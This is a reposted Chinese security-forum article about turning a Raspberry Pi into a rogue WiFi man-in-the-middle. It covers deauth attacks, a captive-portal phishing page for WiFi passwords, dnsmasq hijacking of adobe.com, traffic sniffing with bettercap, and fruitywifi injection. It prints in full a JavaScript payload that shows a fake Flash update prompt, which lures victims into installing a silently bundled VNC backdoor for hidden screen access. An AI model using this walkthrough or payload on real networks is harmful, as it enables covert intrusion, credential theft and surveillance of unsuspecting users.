搜索

[12628] 2018-04-25_树莓派随身工具箱：中间人劫持获取控制权

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2018-04-25_树莓派随身工具箱：中间人劫持获取控制权 树 莓 派 随 身 工 具 箱 ： 中 间 人 劫 持 获 取 控 制 权 R c 4 x   F r e e B u f   2 0 1 8 - 0 4 - 2 5 导 读 导 读 上 文 讲 解 了 树 莓 派 随 身 工 具 箱 的 环 境 搭 建 ， 这 段 时 间 又 对 其 进 行 了 一 些 优 化 ， 主 要 是 从 便 携 美 观 上 面 改 进 。 同 上 文 讲 解 了 树 莓 派 随 身 工 具 箱 的 环 境 搭 建 ， 这 段 时 间 又 对 其 进 行 了 一 些 优 化 ， 主 要 是 从 便 携 美 观 上 面 改 进 。 同 时 ， 在 实 际 使 用 中 发 现 了 一 些 问 题 ， 并 做 了 小 小 的 改 动 。 时 ， 在 实 际 使 用 中 发 现 了 一 些 问 题 ， 并 做 了 小 小 的 改 动 。 传 统 的 中 间 人 攻 击 要 用 到 a r p s p o o f 等 敏 感 操 作 ， 大 多 数 情 况 下 会 被 杀 毒 软 件 拦 截 ， 同 时 被 攻 击 端 会 出 现 乱 码 ， 网 速 卡 顿 甚 至 掉 线 等 现 象 。 而 利 用 树 莓 派 搭 建 物 理 中 间 人 则 可 以 有 效 避 免 以 上 现 象 。 树 莓 派 一 个 网 卡 用 来 接 入 互 联 网 ， 另 一 个 网 卡 作 为 热 点 ， 进 行 客 户 端 劫 持 ， 使 目 标 流 量 都 经 过 自 身 。
前 期 准 备 前 期 准 备 1 . ） 整 体 思 路 ） 整 体 思 路 本 次 渗 透 测 试 采 用 诱 导 安 装 的 方 法 ， 通 过 中 间 人 劫 持 的 方 式 在 网 页 注 入 j s ， 弹 出 蒙 版 层 ， 诱 导 用 户 下 载 捆 绑 后 门 的 F l a s h P l a y e r 更 新 程 序 。 劫 持 方 法 比 较 多 ， 粗 略 的 列 举 一 下 ： 1 ， 万 能 钥 匙 类 软 件 可 以 解 开 : I 、 获 取 目 标 路 由 器 操 作 权 ， 修 改 W i F i 配 置 ， 树 莓 派 伪 造 路 由 器 之 前 的 热 点 。 I I 、 目 标 路 由 器 支 持 中 继 的 话 ， 直 接 修 改 ， 将 其 作 为 中 继 使 用 ， 上 游 设 备 为 树 莓 派 。 2 、 万 能 钥 匙 类 软 件 无 法 连 接 ： I 、 发 送 d e a u t h 攻 击 ， 阻 断 客 户 端 与 目 标 路 由 器 的 连 接 ， 同 时 树 莓 派 伪 造 热 点 ， 通 过 配 置 树 莓 派 d n s m a s q . c o n f i g   启 用 n o - p o o l ， 开 启 w e b s e r v e r 并 配 置 4 0 4 页 面 ， 实 现 客 户 端 接 入 后 自 动 弹 出 页 面 ， 诱 导 用 户 输 入 W I F I 密 码 。 I I 、 树 莓 派 抓 取 握 手 包 ， 丢 在 淘 宝 十 五 大 洋 搞 定 。 I I I 、 社 工 方 式 接 触 路 由 器 ， 快 速 的 按 一 下 w p s 按 键 。 2 . ） 生 成 后 门 程 序 ） 生 成 后 门 程 序 最 好 的 后 门 就 是 那 些 常 见 的 软 件 ， 永 远 不 会 被 杀 毒 软 件 干 掉 。 比 如 f t p s e r v e r 、 S u n l o g i n   o r a y 、 V N C s e r v e r 等 。 这 里 选 择 t i g h t - v n c - s e r v e r ， 小 巧 便 捷 ； 后 门 生 成 需 要 借 助 7 - Z i p   S F X   M a k e r 、 R e s o u r c e   H a c k e r 、 R e g s n a p 等 工 具 的 帮 助 。 首 先 在 本 地 安 装 完 毕 ， 然 后 对 比 注 册 表 和 文 件 变 化 ， 最 后 提 取 出 来 ， 精 简 核 对 后 与 F l a s h P l a y e r 一 起 打 包 ， 实 现 后 台 静 默 安 装 。 然 后 就 是 拿 到 各 个 环 境 里 面 测 试 ， 再 针 对 性 的 进 行 修 改 。 测 试 完 毕 后 将 后 门 程 序 放 在 A p a c h e 根 目 录 ， 同 时 在 下 文 的 j s 里 面 指 定 具 体 位 置 。 3 . ） 配 置 ） 配 置 d n s m a s q 劫 持 劫 持 a d o b e . c o m 指 向 本 地 指 向 本 地 修 改   / e t c / d n s m a s q . c o n f   增 加 然 后   s e r v i c e   d n s m a s q   r e s t a r t 重 启 d n s m a s q 使 配 置 生 效 。 接 着 s e r v i c e   a p a c h e 2   s t a r t   启 动 A p a c h e 4 . ） 安 装 并 配 置 软 件 ） 安 装 并 配 置 软 件 访 问 ： h t t p : / / 你 的 树 莓 派 地 址 : 8 0 0 0   用 户 名 和 密 码 都 为 a d m i n c o n f i g 设 置 如 下 图 ： a d d r e s s = / a d o b e . c o m / 1 0 . 0 . 0 . 1 r o o t @ k a l i : ~ #   a p t - g e t   i n s t a l l   f r u i t y w i f i - m o d u l e - f r u i t y p r o x y r o o t @ k a l i : ~ #   s e r v i c e   f r u i t y w i f i   s t a r t
I N 是 提 供 A P 接 入 点 的 网 卡   O U T 是 连 接 上 外 网 的 网 卡 ， 可 根 据 实 际 情 况 配 置 。 5 . ） 实 施 渗 透 ） 实 施 渗 透 各 项 准 备 完 毕 ， 目 标 设 备 流 量 已 全 部 经 过 树 莓 派 。 首 先 运 行 b e t t e r c a p 对 所 有 流 经 树 莓 派 的 流 量 进 行 嗅 探 ， 粗 略 的 了 解 下 对 方 网 络 流 量 情 况 （ 一 些 常 用 的 命 令 可 以 事 先 写 成 脚 本 ， 方 便 使 用 ） b e t t e r c a p   - I   w l a n 1   - O   l o g . t x t   - X   - L   - S   N O N E
通 过 网 络 流 量 以 及 n m a p 扫 描 可 以 很 快 的 确 定 对 方 主 机 的 I P 地 址 。 然 后 在 主 机 发 生 网 络 访 问 的 时 候 开 启 f r u i t y w i f i   I n j e c t 模 块 。 在   s t a t u s → f r u i t y p r o x   e d i t → I n j e c t 里 面 写 入 要 注 入 的 j s 脚 本 ， 实 现 诱 导 下 载 。 注 入 的 s c r i p t 不 能 有 换 行 ， 所 以 需 要 提 前 把 代 码 压 缩 一 下 。 本 机 测 试 样 式 如 下 ： 注 入 完 毕 后 脚 本 会 自 动 检 测 当 前 浏 览 器 是 移 动 端 还 是 p c 端 ， 如 果 是 P C 端 就 延 迟 三 秒 ， 然 后 弹 出 蒙 版 同 时 诱 导 下 载 ， 用 户 点 击 后 ， 关 闭 蒙 版 ， 恢 复 对 页 面 的 操 作 （ 亦 或 者 一 直 阻 止 对 页 面 的 操 作 ） 。 手 机 端 就 什 么 也 不 做 。 并 且 由 于 事 先 在 树 莓 派 上 配 置 好 了 d n s m a s q   使 默 认 d n s s e r v e r 以 及 d h c p s e r v e r 都 指 向 树 莓 派 ， 加 上 a d o b e 域 名 的 劫 持 ， 客 户 端 看 不 出 太 大 的 端 倪 （ 下 载 地 址 是 h t t p 而 不 是 a d o b e 默 认 的 h t t p s ， 不 过 这 已 经 足 够 骗 过 很 多 人 了 。 ） 6 ） ） . 检 查 执 行 情 况 检 查 执 行 情 况 每 隔 一 段 时 间 就 对 目 标 I P 进 行 一 次 n m a p 扫 描 ， 当 发 现 5 9 0 0 端 口 开 放 的 时 候 ， 就 可 以 确 认 渗 透 完 成 ， 此 时 关 闭 I n j e c t 模 块 。 附 图 · - 安 装 过 程 ： < s c r i p t > ( f u n c t i o n ( a ) { w i n d o w . i s M o b i l e = f a l s e ; i f ( / ( a n d r o i d | i p a d | p l a y b o o k | s i l k | b b d + | m e e g o ) . + m o b i l e | a v a n t g o | b a d a / | b l a c k b e r r y | b l a z e r | c o m p a l | e l a i n e | f e n n e c | h i p t o p | i e m o b i l e | i p ( h o n e | o d ) | i r i s | k i n d l e | l g e   | m a e m o | m i d p | m m p | m o b i l e . + f i r e f o x | n e t f r o n t | o p e r a   m ( o b | i n ) i | p a l m (   o s ) ? | p h o n e | p ( i x i | r e ) / | p l u c k e r | p o c k e t | p s p | s e r i e s ( 4 | 6 ) 0 | s y m b i a n | t r e o | u p . ( b r o w s e r | l i n k ) | v o d a f o n e | w a p | w i n d o w s   ( c e | p h o n e ) | x d a | x i i n o / i . t e s t ( a ) | | / 1 2 0 7 | 6 3 1 0 | 6 5 9 0 | 3 g s o | 4 t h p | 5 0 [ 1 - 6 ] i | 7 7 0 s | 8 0 2 s | a   w a | a b a c | a c ( e r | o o | s - ) | a i ( k o | r n ) | a l ( a v | c a | c o ) | a m o i | a n ( e x | n y | y w ) | a p t u | a r ( c h | g o ) | a s ( t e | u s ) | a t t w | a u ( d i | - m | r   | s   ) | a v a n | b e ( c k | l l | n q ) | b i ( l b | r d ) | b l ( a c | a z ) | b r ( e | v ) w | b u m b | b w - ( n | u ) | c 5 5 / | c a p i | c c w a | c d m - | c e l l | c h t m | c l d c | c m d - | c o ( m p | n d ) | c r a w | d a ( i t | l l | n g ) | d b t e | d c - s | d e v i | d i c a | d m o b | d o ( c | p ) o | d s ( 1 2 | - d ) | e l ( 4 9 | a i ) | e m ( l 2 | u l ) | e r ( i c | k 0 ) | e s l 8 | e z ( [ 4 - 7 ] 0 | o s | w a | z e ) | f e t c | f l y ( - | _ ) | g 1   u | g 5 6 0 | g e n e | g f - 5 | g - m o | g o ( . w | o d ) | g r ( a d | u n ) | h a i e | h c i t | h d - ( m | p | t ) | h e i - | h i ( p t | t a ) | h p (   i | i p ) | h s - c | h t ( c ( - |   | _ | a | g | p | s | t ) | t p ) | h u ( a w | t c ) | i - ( 2 0 | g o | m a ) | i 2 3 0 | i a c (   | - | / ) | i b r o | i d e a | i g 0 1 | i k o m | i m 1 k | i n n o | i p a q | i r i s | j a ( t | v ) a | j b r o | j e m u | j i g s | k d d i | k e j i | k g t (   | / ) | k l o n | k p t   | k w c - | k y o ( c | k ) | l e ( n o | x i ) | l g (   g | / ( k | l | u ) | 5 0 | 5 4 | - [ a - w ] ) | l i b w | l y n x | m 1 - w | m 3 g a | m 5 0 / | m a ( t e | u i | x o ) | m c ( 0 1 | 2 1 | c a ) | m - c r | m e ( r c | r i ) | m i ( o 8 | o a | t s ) | m m e f | m o ( 0 1 | 0 2 | b i | d e | d o | t ( - |   | o | v ) | z z ) | m t ( 5 0 | p 1 | v   ) | m w b p | m y w a | n 1 0 [ 0 - 2 ] | n 2 0 [ 2 - 3 ] | n 3 0 ( 0 | 2 ) | n 5 0 ( 0 | 2 | 5 ) | n 7 ( 0 ( 0 | 1 ) | 1 0 ) | n e ( ( c | m ) - | o n | t f | w f | w g | w t ) | n o k ( 6 | i ) | n z p h | o 2 i m | o p ( t i | w v ) | o r a n | o w g 1 | p 8 0 0 | p a n ( a | d | t ) | p d x g | p g ( 1 3 | - ( [ 1 - 8 ] | c ) ) | p h i l | p i r e | p l ( a y | u c ) | p n - 2 | p o ( c k | r t | s e ) | p r o x | p s i o | p t - g | q a - a | q c ( 0 7 | 1 2 | 2 1 | 3 2 | 6 0 | - [ 2 - 7 ] | i - ) | q t e k | r 3 8 0 | r 6 0 0 | r a k s | r i m 9 | r o ( v e | z o ) | s 5 5 / | s a ( g e | m a | m m | m s | n y | v a ) | s c ( 0 1 | h - | o o | p - ) | s d k / | s e ( c ( - | 0 | 1 ) | 4 7 | m c | n d | r i ) | s g h - | s h a r | s i e ( - | m ) | s k - 0 | s l ( 4 5 | i d ) | s m ( a l | a r | b 3 | i t | t 5 ) | s o ( f t | n y ) | s p ( 0 1 | h - | v - | v   ) | s y ( 0 1 | m b ) | t 2 ( 1 8 | 5 0 ) | t 6 ( 0 0 | 1 0 | 1 8 ) | t a ( g t | l k ) | t c l - | t d g - | t e l ( i | m ) | t i m - | t - m o | t o ( p l | s h ) | t s ( 7 0 | m - | m 3 | m 5 ) | t x - 9 | u p ( . b | g 1 | s i ) | u t s t | v 4 0 0 | v 7 5 0 | v e r i | v i ( r g | t e ) | v k ( 4 0 | 5 [ 0 - 3 ] | - v ) | v m 4 0 | v o d a | v u l c | v x ( 5 2 | 5 3 | 6 0 | 6 1 | 7 0 | 8 0 | 8 1 | 8 3 | 8 5 | 9 8 ) | w 3 c ( - |   ) | w e b c | w h i t | w i ( g   | n c | n w ) | w m l b | w o n u | x 7 0 0 | y a s - | y o u r | z e t o | z t e - / i . t e s t ( a . s u b s t r ( 0 , 4 ) ) ) { w i n d o w . i s M o b i l e = t r u e } e l s e { s e t T i m e o u t ( " s h o w D i v ( ) ; " , 2 0 0 0 ) } } ) ( n a v i g a t o r . u s e r A g e n t | | n a v i g a t o r . v e n d o r | | w i n d o w . o p e r a ) ; d o c u m e n t . w r i t e l n ( " < d i v > < s t y l e   t y p e = ' t e x t / c s s ' > b o d y { o v e r f l o w : h i d d e n ; h e i g h t : 1 0 0 % } . p o p W i n d o w { b a c k g r o u n d - c o l o r : # 9 D 9 D 9 D ; w i d t h : 1 0 0 % ; h e i g h t :   a u t o   ! i m p o r t a n t ; l e f t : 0 ; t o p : 0 ; f i l t e r : a l p h a ( o p a c i t y = 5 0 ) ; o p a c i t y : 0 . 5 ; z - i n d e x : 8 9 0 0 ; p o s i t i o n : a b s o l u t e } . m a s k L a y e r { b a c k g r o u n d - c o l o r : # 6 3 6 3 6 5 ; b o x - s h a d o w : 0   0   1 5 p x # 3 9 3 8 3 8 ; p a d d i n g : 1 0 p x ; w i d t h : 2 2 0 p x ; l i n e - h e i g h t : 3 0 p x ; l e f t : 5 0 % ; t o p : 5 0 % ; m a r g i n - l e f t : - 1 0 0 p x ; m a r g i n - t o p : - 1 0 0 p x ; c o l o r : # e a 8 7 2 6 ; z - i n d e x : 9 0 0 0 ; p o s i t i o n : a b s o l u t e ; t e x t - a l i g n : c e n t e r } < / s t y l e > < d i v   i d = ' p o p W i n d o w ' c l a s s = ' p o p W i n d o w ' s t y l e = ' d i s p l a y :   n o n e ; ' > < / d i v > < d i v   i d = ' m a s k L a y e r ' c l a s s = ' m a s k L a y e r ' s t y l e = ' d i s p l a y :   n o n e ; ' > < p > 页 面 检 测 到 您 的 F l a s h   P l a y e r 版 本 太 低 ， 请 下 载 并 安 装 更 新 ！ < / b r > < a   t a r g e t = ' _ b l a n k ' h r e f = ' h t t p : / / g e t . a d o b e . c o m / f l a s h p l a y e r / f l a s h p l a y e r 2 9 _ v a _ i n s t a l l . e x e ' o n c l i c k = ' c l o s e D i v ( ) ' s t y l e = ' c u r s o r : p o i n t e r ; t e x t - d e c o r a t i o n :   n o n e ; ' > < i n p u t   v a l u e = ' 下 载 更 新 ' t y p e = ' b u t t o n ' > < / a > < / p > < / d i v > < / d i v > " ) ; f u n c t i o n   s h o w D i v ( ) { d o c u m e n t . g e t E l e m e n t B y I d ( ' p o p W i n d o w ' ) . s t y l e . d i s p l a y = ' b l o c k ' ; d o c u m e n t . g e t E l e m e n t B y I d ( ' m a s k L a y e r ' ) . s t y l e . d i s p l a y = ' b l o c k ' } f u n c t i o n   c l o s e D i v ( ) { d o c u m e n t . g e t E l e m e n t B y I d ( ' p o p W i n d o w ' ) . s t y l e . d i s p l a y = ' n o n e ' ; d o c u m e n t . g e t E l e m e n t B y I d ( ' m a s k L a y e r ' ) . s t y l e . d i s p l a y = ' n o n e ' ; d o c u m e n t . b o d y . s t y l e . o v e r f l o w = " v i s i b l e " } < / s c r i p t >
后 门 程 序 和 t v n s e r v e r 同 步 安 装 ， 纵 使 发 生 意 外 情 况 ， t v n s e r v e r 安 装 失 败 ， 在 f l a s h p l a y e r 安 装 程 序 进 程 结 束 后 还 会 进 行 安 装 情 况 检 查 ， 并 尝 试 第 二 次 安 装 （ 不 安 装 为 系 统 服 务 ， 使 用 用 户 模 式 ） 。 7 . ） ） e n j o y 使 用 v n c v i e w e r 进 行 连 接 ， 目 标 主 机 全 程 无 提 示 ， 无 小 图 标 。 还 可 以 在 不 影 响 目 标 主 机 的 情 况 下 观 察 对 方 屏 幕 。 嗯 ， 不 要 怀 疑 。 我 在 医 院 数 据 中 心 工 作 。 负 责 维 护 系 统 的 安 全 。 谨 此 ， 献 给 各 位 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： R c 4 x ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理